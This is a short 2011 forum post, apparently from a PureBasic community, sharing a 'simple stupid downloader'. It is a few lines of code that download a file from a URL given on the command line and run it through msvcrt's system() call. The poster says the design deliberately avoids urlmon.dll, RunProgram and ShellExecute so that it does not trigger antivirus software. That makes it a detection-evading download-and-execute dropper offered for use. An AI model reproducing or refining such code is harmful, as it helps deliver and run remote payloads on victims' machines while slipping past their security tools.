Page 1 of 1

Simpe stupid downloader :)

Posted: Tue Nov 29, 2011 4:09 am
by sphaaz
Well here is downloader that takes arguments to get file from some url and executes it....
I know there is a lot of downloaders a lot better ones probably, but idea for this one was
to not use urlmon.dll api function and RunProgram or shellexecute :)
so it doesnt trigger avs and you can use it for deploying your software without problems!

Code: Select all

ImportC "msvcrt.lib"
  system(STR.p-ascii)
EndImport  

link$=ProgramParameter(0)
file$=ProgramParameter(1)

InitNetwork()
ReceiveHTTPFile(link$,file$)
system(file$)